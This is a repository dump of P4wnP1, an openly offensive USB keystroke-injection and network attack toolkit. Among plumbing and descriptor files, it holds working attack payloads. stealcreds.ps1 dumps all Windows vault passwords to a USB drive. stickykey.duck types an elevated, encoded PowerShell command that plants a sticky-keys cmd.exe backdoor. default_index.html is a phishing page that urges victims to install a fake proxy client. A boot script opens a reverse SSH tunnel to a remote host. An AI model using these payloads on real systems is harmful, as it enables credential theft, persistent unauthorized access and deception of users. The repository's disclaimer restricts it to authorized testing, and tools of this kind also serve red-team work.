├── hidtools ├── backdoor │ ├── mouse │ ├── resources │ ├── DuckEncoder.py │ ├── P4wnP1.dll │ ├── Stage1.dll │ ├── config.txt │ ├── changes.txt │ ├── StructHelper.py │ ├── Config.py │ ├── ServerMethod.py │ ├── StageHelper.py │ ├── Stage1.ps1 │ └── TransportLayer.py ├── mouse │ ├── __init__.py │ ├── hid_mouse.py │ └── MouseScriptParser.py ├── frontdoor │ ├── stage1.ps1 │ ├── stage1_test.ps1 │ ├── stage1_mini.ps1 │ └── stage1_reduced.ps1 ├── payload_delivery │ ├── stage1.ps1 │ ├── stage1_test.ps1 │ ├── stage1_mini.ps1 │ ├── stage1_mini.ps1.old │ └── stage1_reduced.ps1 ├── transhid.py └── converter3.ps1 ├── conf ├── report_desc ├── test_hid_desc ├── raw_hid_in_desc ├── raw_hid_out_desc ├── raw_report_desc ├── mouse_combined_desc ├── raw_hid_in_desc.txt ├── raw_hid_out_desc.txt ├── default_index.html ├── raw_report_desc.txt └── default_Responder.conf ├── payloads ├── hakin9_tutorial │ ├── startps.duck │ ├── stealcreds.ps1 │ └── payload.txt ├── wifi_covert_channel │ ├── NWiFi.dll │ ├── hid_only_delivery32.txt │ ├── hid_only_delivery64.txt │ └── hid_only_delivery64_bt_only.txt ├── stickykey │ ├── payload.txt │ ├── remove.txt │ └── trigger.txt ├── hid_keyboard.txt ├── hid_backdoor.txt ├── hid_frontdoor.txt ├── hid_mouse.txt ├── wifi_connect.txt ├── network_only.txt ├── hid_keyboard2.txt ├── template.txt ├── nexmon │ └── karma.txt └── hid_backdoor_remote.txt ├── DISCLAIMER.md ├── .gitmodules ├── DuckyScripts ├── AltF4.duck ├── AltF4_Return.duck ├── HelloWorld.duck ├── P4wnP1_youtube.duck ├── trigger_eicar.duck ├── mspaint.duck ├── stickykey_remove.duck └── stickykey.duck ├── boot ├── led_blink_user.sh ├── init_hid_mouse.sh ├── init_config.sh ├── init_autossh.sh ├── init_led.sh ├── init_hid_keyboard.sh ├── init_wifi_nexmon.sh ├── boot_P4wnP1 └── init_usb_ethernet.sh ├── wifi └── check_wifi.sh ├── ssh ├── genkeys.sh └── pushkey.sh ├── ToDo.txt ├── ledtool └── ledtool.py ├── FAQ.md ├── MouseScripts └── test.mouse └── INSTALL.md /hidtools/backdoor/mouse: -------------------------------------------------------------------------------- 1 | ../mouse -------------------------------------------------------------------------------- /hidtools/mouse/__init__.py: -------------------------------------------------------------------------------- 1 | # placeholder 2 | -------------------------------------------------------------------------------- /hidtools/backdoor/resources: -------------------------------------------------------------------------------- 1 | ../../duckencoder/resources/ -------------------------------------------------------------------------------- /hidtools/backdoor/DuckEncoder.py: -------------------------------------------------------------------------------- 1 | ../../duckencoder/duckencoder.py -------------------------------------------------------------------------------- /conf/report_desc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/client/P4wnP1/master/conf/report_desc -------------------------------------------------------------------------------- /conf/test_hid_desc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/client/P4wnP1/master/conf/test_hid_desc -------------------------------------------------------------------------------- /conf/raw_hid_in_desc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/client/P4wnP1/master/conf/raw_hid_in_desc -------------------------------------------------------------------------------- /conf/raw_hid_out_desc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/client/P4wnP1/master/conf/raw_hid_out_desc -------------------------------------------------------------------------------- /conf/raw_report_desc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/client/P4wnP1/master/conf/raw_report_desc -------------------------------------------------------------------------------- /conf/mouse_combined_desc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/client/P4wnP1/master/conf/mouse_combined_desc -------------------------------------------------------------------------------- /hidtools/backdoor/P4wnP1.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/client/P4wnP1/master/hidtools/backdoor/P4wnP1.dll -------------------------------------------------------------------------------- /hidtools/backdoor/Stage1.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/client/P4wnP1/master/hidtools/backdoor/Stage1.dll -------------------------------------------------------------------------------- /hidtools/frontdoor/stage1.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/client/P4wnP1/master/hidtools/frontdoor/stage1.ps1 -------------------------------------------------------------------------------- /payloads/hakin9_tutorial/startps.duck: -------------------------------------------------------------------------------- 1 | GUI r 2 | DELAY 500 3 | STRING powershell.exe 4 | ENTER 5 | DELAY 1000 6 | 7 | -------------------------------------------------------------------------------- /hidtools/frontdoor/stage1_test.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/client/P4wnP1/master/hidtools/frontdoor/stage1_test.ps1 -------------------------------------------------------------------------------- /hidtools/payload_delivery/stage1.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/client/P4wnP1/master/hidtools/payload_delivery/stage1.ps1 -------------------------------------------------------------------------------- /payloads/wifi_covert_channel/NWiFi.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/client/P4wnP1/master/payloads/wifi_covert_channel/NWiFi.dll -------------------------------------------------------------------------------- /hidtools/payload_delivery/stage1_test.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/client/P4wnP1/master/hidtools/payload_delivery/stage1_test.ps1 -------------------------------------------------------------------------------- /hidtools/backdoor/config.txt: -------------------------------------------------------------------------------- 1 | # path to device used for keyboard emulation 2 | HID_KEYBOARD_DEV=/dev/hidg0 3 | 4 | # path to device used for raw HID communications 5 | HID_RAW_DEV=/dev/hidg1 6 | 7 | # supported languages: be, br, ca, ch, de, dk, es, fi, fr, gb, hr, it, no, pt, ru, si, sv, t, us 8 | KEYBOARD_LANG=us 9 | 10 | PATH_DUCKYSCRIPT=../../DuckyScripts 11 | PATH_MOUSESCRIPT=../../MouseScripts 12 | 13 | PATH_LANGUAGES=resources 14 | 15 | PATH_STAGE1_DOTNET=Stage1.dll 16 | PATH_STAGE1_PS=Stage1.ps1 17 | PATH_STAGE2_DOTNET=P4wnP1.dll 18 | -------------------------------------------------------------------------------- /DISCLAIMER.md: -------------------------------------------------------------------------------- 1 | DISCLAIMER 2 | ========== 3 | 4 | **P4wnP1** is dedicated to penetration testers, redteamers and InfoSec personal. 5 | P4wnP1 is a Proof of Concept and should be used for authorized testing and/or 6 | educational purposes only. The only exception is using it against devices 7 | or a network, owned by yourself. 8 | 9 | I take no responsibility for the abuse of P4wnP1 or any information given in 10 | the related documents. 11 | 12 | **I DO NOT GRANT PERMISSIONS TO USE P4wnP1 TO BREAK THE LAW.** 13 | 14 | As P4wnP1 is meant as a Proof of Concept, it is likely that bugs occur. 15 | I disclaim any warranty for P4wnP1, it is provided "as is". 16 | -------------------------------------------------------------------------------- /hidtools/backdoor/changes.txt: -------------------------------------------------------------------------------- 1 | - calls to remote methods deliver boolean to indicate error + result (if client.callMethod is issued with deliverResult=True) 2 | - if client disconnects, pending methods are set to error 3 | - fixed issue on connection state reporting, when client times out 4 | - fixed exception handling in core_create_process 5 | - added pwd, ls and cd command for remote FS 6 | - deployed a pass_trough handler, handing back data to the caller (mustn#t replace the default handler which prints out results) 7 | 8 | 9 | ToDo: 10 | - add optional timeout to for remote method calls 11 | - ls, pwd, cd need to check if client is connected before running -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "duckencoder"] 2 | path = duckencoder 3 | url = https://github.com/mame82/duckencoder.py 4 | [submodule "john-1-8-0-jumbo_raspbian_jessie_precompiled"] 5 | path = john-1-8-0-jumbo_raspbian_jessie_precompiled 6 | url = https://github.com/mame82/john-1-8-0-jumbo_raspbian_jessie_precompiled 7 | [submodule "Responder"] 8 | path = Responder 9 | url = https://github.com/mame82/Responder 10 | branch = EMULATE_INTERNET_AND_WPAD_ANYWAY 11 | [submodule "nexmon"] 12 | path = nexmon 13 | url = https://github.com/mame82/P4wnP1_nexmon_additions 14 | [submodule "hostapd-mana"] 15 | path = hostapd-mana 16 | url = https://github.com/mame82/P4wnP1_hostapd-mana_additions 17 | -------------------------------------------------------------------------------- /payloads/hakin9_tutorial/stealcreds.ps1: -------------------------------------------------------------------------------- 1 | $drivefound=$false 2 | while (-not $drivefound) 3 | { 4 | try 5 | { 6 | $drive=Get-Volume -FileSystemLabel "HAKIN9" -ErrorAction Stop 7 | } 8 | catch 9 | { 10 | "Waiting for P4wnP1 drive" 11 | sleep 1 12 | continue 13 | } 14 | $dl=($drive.DriveLetter | Out-String)[0] +":" 15 | $drivefound=$true 16 | } 17 | $filename=$dl+"\"+$env:COMPUTERNAME+"_"+$env:USERNAME+".txt" 18 | 19 | [void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] 20 | $creds = (New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() 21 | foreach ($c in $creds) {$c.RetrievePassword()} 22 | $creds | Format-List -Property Resource,UserName,Password | Out-File $filename 23 | exit 24 | 25 | -------------------------------------------------------------------------------- /DuckyScripts/AltF4.duck: -------------------------------------------------------------------------------- 1 | // This file is part of P4wnP1. 2 | // 3 | // Copyright (c) 2017, Marcus Mengs. 4 | // 5 | // P4wnP1 is free software: you can redistribute it and/or modify 6 | // it under the terms of the GNU General Public License as published by 7 | // the Free Software Foundation, either version 3 of the License, or 8 | // (at your option) any later version. 9 | // 10 | // P4wnP1 is distributed in the hope that it will be useful, 11 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | // GNU General Public License for more details. 14 | // 15 | // You should have received a copy of the GNU General Public License 16 | // along with P4wnP1. If not, see . 17 | 18 | 19 | ALT F4 20 | -------------------------------------------------------------------------------- /DuckyScripts/AltF4_Return.duck: -------------------------------------------------------------------------------- 1 | // This file is part of P4wnP1. 2 | // 3 | // Copyright (c) 2017, Marcus Mengs. 4 | // 5 | // P4wnP1 is free software: you can redistribute it and/or modify 6 | // it under the terms of the GNU General Public License as published by 7 | // the Free Software Foundation, either version 3 of the License, or 8 | // (at your option) any later version. 9 | // 10 | // P4wnP1 is distributed in the hope that it will be useful, 11 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | // GNU General Public License for more details. 14 | // 15 | // You should have received a copy of the GNU General Public License 16 | // along with P4wnP1. If not, see . 17 | 18 | ALT F4 19 | DELAY 500 20 | ENTER 21 | -------------------------------------------------------------------------------- /DuckyScripts/HelloWorld.duck: -------------------------------------------------------------------------------- 1 | // This file is part of P4wnP1. 2 | // 3 | // Copyright (c) 2017, Marcus Mengs. 4 | // 5 | // P4wnP1 is free software: you can redistribute it and/or modify 6 | // it under the terms of the GNU General Public License as published by 7 | // the Free Software Foundation, either version 3 of the License, or 8 | // (at your option) any later version. 9 | // 10 | // P4wnP1 is distributed in the hope that it will be useful, 11 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | // GNU General Public License for more details. 14 | // 15 | // You should have received a copy of the GNU General Public License 16 | // along with P4wnP1. If not, see . 17 | 18 | GUI r 19 | DELAY 500 20 | STRING notepad.exe 21 | ENTER 22 | DELAY 1000 23 | STRING Hello World 24 | ENTER 25 | -------------------------------------------------------------------------------- /DuckyScripts/P4wnP1_youtube.duck: -------------------------------------------------------------------------------- 1 | // This file is part of P4wnP1. 2 | // 3 | // Copyright (c) 2017, Marcus Mengs. 4 | // 5 | // P4wnP1 is free software: you can redistribute it and/or modify 6 | // it under the terms of the GNU General Public License as published by 7 | // the Free Software Foundation, either version 3 of the License, or 8 | // (at your option) any later version. 9 | // 10 | // P4wnP1 is distributed in the hope that it will be useful, 11 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | // GNU General Public License for more details. 14 | // 15 | // You should have received a copy of the GNU General Public License 16 | // along with P4wnP1. If not, see . 17 | 18 | DELAY 3000 19 | GUI r 20 | DELAY 200 21 | STRING https://www.youtube.com/watch?v=MI8DFlKLHBk 22 | ENTER 23 | DELAY 5000 24 | STRING f 25 | -------------------------------------------------------------------------------- /boot/led_blink_user.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | 4 | # This file is part of P4wnP1. 5 | # 6 | # Copyright (c) 2017, Marcus Mengs. 7 | # 8 | # P4wnP1 is free software: you can redistribute it and/or modify 9 | # it under the terms of the GNU General Public License as published by 10 | # the Free Software Foundation, either version 3 of the License, or 11 | # (at your option) any later version. 12 | # 13 | # P4wnP1 is distributed in the hope that it will be useful, 14 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | # GNU General Public License for more details. 17 | # 18 | # You should have received a copy of the GNU General Public License 19 | # along with P4wnP1. If not, see . 20 | 21 | 22 | ledtrigger="/tmp/blink_count" 23 | # led blink function 24 | function led_blink() 25 | { 26 | if [ "$1" ] 27 | then 28 | echo "$1" > $ledtrigger 29 | fi 30 | } 31 | -------------------------------------------------------------------------------- /wifi/check_wifi.sh: -------------------------------------------------------------------------------- 1 | #/bin/bash 2 | 3 | # This file is part of P4wnP1. 4 | # 5 | # Copyright (c) 2017, Marcus Mengs. 6 | # 7 | # P4wnP1 is free software: you can redistribute it and/or modify 8 | # it under the terms of the GNU General Public License as published by 9 | # the Free Software Foundation, either version 3 of the License, or 10 | # (at your option) any later version. 11 | # 12 | # P4wnP1 is distributed in the hope that it will be useful, 13 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | # GNU General Public License for more details. 16 | # 17 | # You should have received a copy of the GNU General Public License 18 | # along with P4wnP1. If not, see . 19 | 20 | 21 | 22 | # check for presence of wlan0 23 | 24 | if ! iwconfig 2>&1 | grep -q -E ".*wlan0.*"; then 25 | echo "...[Error] now wlan0 interface found" 26 | exit 1 27 | fi 28 | exit 0 29 | -------------------------------------------------------------------------------- /hidtools/backdoor/StructHelper.py: -------------------------------------------------------------------------------- 1 | 2 | # This file is part of P4wnP1. 3 | # 4 | # Copyright (c) 2017, Marcus Mengs. 5 | # 6 | # P4wnP1 is free software: you can redistribute it and/or modify 7 | # it under the terms of the GNU General Public License as published by 8 | # the Free Software Foundation, either version 3 of the License, or 9 | # (at your option) any later version. 10 | # 11 | # P4wnP1 is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with P4wnP1. If not, see . 18 | 19 | 20 | import struct 21 | 22 | class StructHelper: 23 | @staticmethod 24 | def extractNullTerminatedString(data): 25 | parts = data.split('\x00',1) 26 | if len(parts) == 1: 27 | return [parts[0],""] 28 | else: 29 | return parts -------------------------------------------------------------------------------- /DuckyScripts/trigger_eicar.duck: -------------------------------------------------------------------------------- 1 | // This file is part of P4wnP1. 2 | // 3 | // Copyright (c) 2017, Marcus Mengs. 4 | // 5 | // P4wnP1 is free software: you can redistribute it and/or modify 6 | // it under the terms of the GNU General Public License as published by 7 | // the Free Software Foundation, either version 3 of the License, or 8 | // (at your option) any later version. 9 | // 10 | // P4wnP1 is distributed in the hope that it will be useful, 11 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | // GNU General Public License for more details. 14 | // 15 | // You should have received a copy of the GNU General Public License 16 | // along with P4wnP1. If not, see . 17 | 18 | GUI r 19 | DELAY 500 20 | STRING cmd 21 | ENTER 22 | DELAY 1000 23 | STRING cd %USERPROFILE%\Desktop\ 24 | DELAY 500 25 | ENTER 26 | STRING COPY /Y CON EICAR 27 | ENTER 28 | STRING X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* 29 | DELAY 500 30 | CONTROL Z 31 | ENTER 32 | REM STRING exit 33 | ENTER 34 | -------------------------------------------------------------------------------- /DuckyScripts/mspaint.duck: -------------------------------------------------------------------------------- 1 | // This file is part of P4wnP1. 2 | // 3 | // Copyright (c) 2017, Marcus Mengs. 4 | // 5 | // P4wnP1 is free software: you can redistribute it and/or modify 6 | // it under the terms of the GNU General Public License as published by 7 | // the Free Software Foundation, either version 3 of the License, or 8 | // (at your option) any later version. 9 | // 10 | // P4wnP1 is distributed in the hope that it will be useful, 11 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | // GNU General Public License for more details. 14 | // 15 | // You should have received a copy of the GNU General Public License 16 | // along with P4wnP1. If not, see . 17 | 18 | // The script opens mspaint, maximizes it and changes the canvas to 1920 x 1080 19 | 20 | GUI R 21 | DELAY 200 22 | STRING mspaint 23 | ENTER 24 | DELAY 500 25 | GUI UP 26 | DELAY 200 27 | 28 | // this openes properties dialog, but is language specific (e = German "(E)igenschaften") 29 | CTRL e 30 | 31 | DELAY 500 32 | STRING 1920 33 | TAB 34 | DELAY 200 35 | STRING 1080 36 | ENTER 37 | -------------------------------------------------------------------------------- /boot/init_hid_mouse.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | 4 | # This file is part of P4wnP1. 5 | # 6 | # Copyright (c) 2017, Marcus Mengs. 7 | # 8 | # P4wnP1 is free software: you can redistribute it and/or modify 9 | # it under the terms of the GNU General Public License as published by 10 | # the Free Software Foundation, either version 3 of the License, or 11 | # (at your option) any later version. 12 | # 13 | # P4wnP1 is distributed in the hope that it will be useful, 14 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | # GNU General Public License for more details. 17 | # 18 | # You should have received a copy of the GNU General Public License 19 | # along with P4wnP1. If not, see . 20 | 21 | # 22 | # Declares function used in conjunction with HID mouse 23 | 24 | # output mouse commands from MouseScript (see $wdir/MouseScripts/test.mouse for example Script) 25 | function outmouse() 26 | { 27 | # cat | python $wdir/duckencoder/duckencoder.py -l $lang -r | python $wdir/transhid.py > /dev/hidg0 28 | cat | python $wdir/hidtools/mouse/MouseScriptParser.py 29 | } 30 | 31 | -------------------------------------------------------------------------------- /boot/init_config.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | 4 | # This file is part of P4wnP1. 5 | # 6 | # Copyright (c) 2017, Marcus Mengs. 7 | # 8 | # P4wnP1 is free software: you can redistribute it and/or modify 9 | # it under the terms of the GNU General Public License as published by 10 | # the Free Software Foundation, either version 3 of the License, or 11 | # (at your option) any later version. 12 | # 13 | # P4wnP1 is distributed in the hope that it will be useful, 14 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | # GNU General Public License for more details. 17 | # 18 | # You should have received a copy of the GNU General Public License 19 | # along with P4wnP1. If not, see . 20 | 21 | 22 | # load global configuration variables 23 | 24 | # include setup.cfg 25 | source $wdir/setup.cfg 26 | 27 | # include payload (overrides variables set by setup.cfg if needed) 28 | # PAYLOAD itself is define in setup.cfg 29 | source $wdir/payloads/$PAYLOAD 30 | 31 | # check for wifi capability 32 | if $wdir/wifi/check_wifi.sh; then WIFI=true; else WIFI=false; fi 33 | 34 | # set variable for USB gadget directory 35 | GADGETS_DIR="mame82gadget" 36 | 37 | -------------------------------------------------------------------------------- /conf/raw_hid_in_desc.txt: -------------------------------------------------------------------------------- 1 | 2 | # This file is part of P4wnP1. 3 | # 4 | # Copyright (c) 2017, Marcus Mengs. 5 | # 6 | # P4wnP1 is free software: you can redistribute it and/or modify 7 | # it under the terms of the GNU General Public License as published by 8 | # the Free Software Foundation, either version 3 of the License, or 9 | # (at your option) any later version. 10 | # 11 | # P4wnP1 is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with P4wnP1. If not, see . 18 | 19 | 20 | 0x06, 0x00, 0xFF, // Usage Page (Vendor Defined 0xFF00) 21 | 0x09, 0x01, // Usage (0x01) 22 | 0xA1, 0x01, // Collection (Application) 23 | 0x09, 0x01, // Usage (0x01) 24 | 0x15, 0x00, // Logical Minimum (0) 25 | 0x26, 0xFF, 0x00, // Logical Maximum (255) 26 | 0x75, 0x08, // Report Size (8) 27 | 0x95, 0x40, // Report Count (64) 28 | 0x81, 0x02, // Input (Data,Var,Abs,No Wrap,Linear,Preferred State,No Null Position) 29 | 0xC0, // End Collection 30 | -------------------------------------------------------------------------------- /conf/raw_hid_out_desc.txt: -------------------------------------------------------------------------------- 1 | 2 | # This file is part of P4wnP1. 3 | # 4 | # Copyright (c) 2017, Marcus Mengs. 5 | # 6 | # P4wnP1 is free software: you can redistribute it and/or modify 7 | # it under the terms of the GNU General Public License as published by 8 | # the Free Software Foundation, either version 3 of the License, or 9 | # (at your option) any later version. 10 | # 11 | # P4wnP1 is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with P4wnP1. If not, see . 18 | 19 | 20 | 0x06, 0x00, 0xFF, // Usage Page (Vendor Defined 0xFF00) 21 | 0x09, 0x01, // Usage (0x01) 22 | 0xA1, 0x01, // Collection (Application) 23 | 0x09, 0x02, // Usage (0x02) 24 | 0x15, 0x00, // Logical Minimum (0) 25 | 0x26, 0xFF, 0x00, // Logical Maximum (255) 26 | 0x75, 0x08, // Report Size (8) 27 | 0x95, 0x40, // Report Count (64) 28 | 0x91, 0x02, // Output (Data,Var,Abs,No Wrap,Linear,Preferred State,No Null Position,Non-volatile) 29 | 0xC0, // End Collection 30 | 31 | // 21 bytes 32 | -------------------------------------------------------------------------------- /DuckyScripts/stickykey_remove.duck: -------------------------------------------------------------------------------- 1 | // This file is part of P4wnP1. 2 | // 3 | // Copyright (c) 2017, Marcus Mengs. 4 | // 5 | // P4wnP1 is free software: you can redistribute it and/or modify 6 | // it under the terms of the GNU General Public License as published by 7 | // the Free Software Foundation, either version 3 of the License, or 8 | // (at your option) any later version. 9 | // 10 | // P4wnP1 is distributed in the hope that it will be useful, 11 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | // GNU General Public License for more details. 14 | // 15 | // You should have received a copy of the GNU General Public License 16 | // along with P4wnP1. If not, see . 17 | 18 | GUI r 19 | DELAY 500 20 | STRING powershell.exe 21 | ENTER 22 | DELAY 1000 23 | 24 | STRING start powershell -verb runas -A '-e','IwBmAG8AcgAgAFAANAB3AG4AUAAxACAAYgB5ACAATQBhAE0AZQA4ADIACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAiAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEkAbQBhAGcAZQAgAEYAaQBsAGUAIABFAHgAZQBjAHUAdABpAG8AbgAgAE8AcAB0AGkAbwBuAHMAXABzAGUAdABoAGMALgBlAHgAZQAiADsAZQB4AGkAdAA=';exit 25 | ENTER 26 | DELAY 500 27 | 28 | SHIFT TAB 29 | DELAY 100 30 | ENTER 31 | 32 | -------------------------------------------------------------------------------- /boot/init_autossh.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # This file is part of P4wnP1. 4 | # 5 | # Copyright (c) 2017, Marcus Mengs. 6 | # 7 | # P4wnP1 is free software: you can redistribute it and/or modify 8 | # it under the terms of the GNU General Public License as published by 9 | # the Free Software Foundation, either version 3 of the License, or 10 | # (at your option) any later version. 11 | # 12 | # P4wnP1 is distributed in the hope that it will be useful, 13 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | # GNU General Public License for more details. 16 | # 17 | # You should have received a copy of the GNU General Public License 18 | # along with P4wnP1. If not, see . 19 | 20 | 21 | # Enable AutoSSH reachback connection according to the settings of setup.cfg or current payload 22 | 23 | function start_autossh() 24 | { 25 | if $AUTOSSH_ENABLED; then 26 | echo "Forwarding P4wnP1 SSH server to \"$AUTOSSH_REMOTE_HOST\" ..." 27 | echo " P4wnP1 SSH will be reachable on localhost:$AUTOSSH_REMOTE_PORT on this server" 28 | cp $AUTOSSH_PRIVATE_KEY /tmp/ssh_id 29 | 30 | sudo autossh -M 0 -f -T -N -o "ServerAliveInterval 30" -o "ServerAliveCountMax 3" -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i /tmp/ssh_id -R localhost:$AUTOSSH_REMOTE_PORT:localhost:22 $AUTOSSH_REMOTE_USER@$AUTOSSH_REMOTE_HOST 31 | fi 32 | } 33 | -------------------------------------------------------------------------------- /boot/init_led.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | 4 | # This file is part of P4wnP1. 5 | # 6 | # Copyright (c) 2017, Marcus Mengs. 7 | # 8 | # P4wnP1 is free software: you can redistribute it and/or modify 9 | # it under the terms of the GNU General Public License as published by 10 | # the Free Software Foundation, either version 3 of the License, or 11 | # (at your option) any later version. 12 | # 13 | # P4wnP1 is distributed in the hope that it will be useful, 14 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | # GNU General Public License for more details. 17 | # 18 | # You should have received a copy of the GNU General Public License 19 | # along with P4wnP1. If not, see . 20 | 21 | 22 | # Start LED controller script and provide funtion to set blink count 23 | 24 | # ==================== 25 | # LED init 26 | # ==================== 27 | 28 | # create control file and change owner (otherwise it would be created by ledtool.py 29 | # with owner root, and thus not writable by user pi) 30 | ledtrigger="/tmp/blink_count" 31 | echo 255 > $ledtrigger 32 | chmod 0666 $ledtrigger 33 | sync 34 | 35 | # start LED control in background 36 | python $wdir/ledtool/ledtool.py& 37 | 38 | # led blink function 39 | function led_blink() 40 | { 41 | if [ "$1" ] 42 | then 43 | echo "$1" > $ledtrigger 44 | fi 45 | } 46 | 47 | # disable LED for now 48 | led_blink 0 49 | -------------------------------------------------------------------------------- /conf/default_index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Website Blocked: ISA Proxy Server 4 | 14 | 15 | 16 | 17 |
18 |
19 |
New Security Policy: Website Blocked
20 |
    21 |
    22 |
    23 | Loading 24 | Loading 25 |
  • Access has been blocked. Please download and install the new Proxy Client in order to access internet resources.
  • 26 |
    27 |
28 |
29 | 30 |
31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /DuckyScripts/stickykey.duck: -------------------------------------------------------------------------------- 1 | // This file is part of P4wnP1. 2 | // 3 | // Copyright (c) 2017, Marcus Mengs. 4 | // 5 | // P4wnP1 is free software: you can redistribute it and/or modify 6 | // it under the terms of the GNU General Public License as published by 7 | // the Free Software Foundation, either version 3 of the License, or 8 | // (at your option) any later version. 9 | // 10 | // P4wnP1 is distributed in the hope that it will be useful, 11 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | // GNU General Public License for more details. 14 | // 15 | // You should have received a copy of the GNU General Public License 16 | // along with P4wnP1. If not, see . 17 | 18 | GUI r 19 | DELAY 500 20 | STRING powershell.exe 21 | ENTER 22 | DELAY 1000 23 | 24 | STRING start powershell -verb runas -A '-e','IwBmAG8AcgAgAFAANAB3AG4AUAAxACAAYgB5ACAATQBhAE0AZQA4ADIACgBzAGwAIAAiAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEkAbQBhAGcAZQAgAEYAaQBsAGUAIABFAHgAZQBjAHUAdABpAG8AbgAgAE8AcAB0AGkAbwBuAHMAIgA7AG4AaQAgAHMAZQB0AGgAYwAuAGUAeABlADsAYwBkACAAcwBlAHQAaABjAC4AZQB4AGUAOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALgAgAC0ATgAgAEQAZQBiAHUAZwBnAGUAcgAgAC0AVgBhACAAIgBjAG0AZAAuAGUAeABlACIAOwBlAHgAaQB0AA==';exit 25 | ENTER 26 | DELAY 500 27 | 28 | SHIFT TAB 29 | DELAY 100 30 | ENTER 31 | 32 | -------------------------------------------------------------------------------- /hidtools/transhid.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | 4 | # This file is part of P4wnP1. 5 | # 6 | # Copyright (c) 2017, Marcus Mengs. 7 | # 8 | # P4wnP1 is free software: you can redistribute it and/or modify 9 | # it under the terms of the GNU General Public License as published by 10 | # the Free Software Foundation, either version 3 of the License, or 11 | # (at your option) any later version. 12 | # 13 | # P4wnP1 is distributed in the hope that it will be useful, 14 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | # GNU General Public License for more details. 17 | # 18 | # 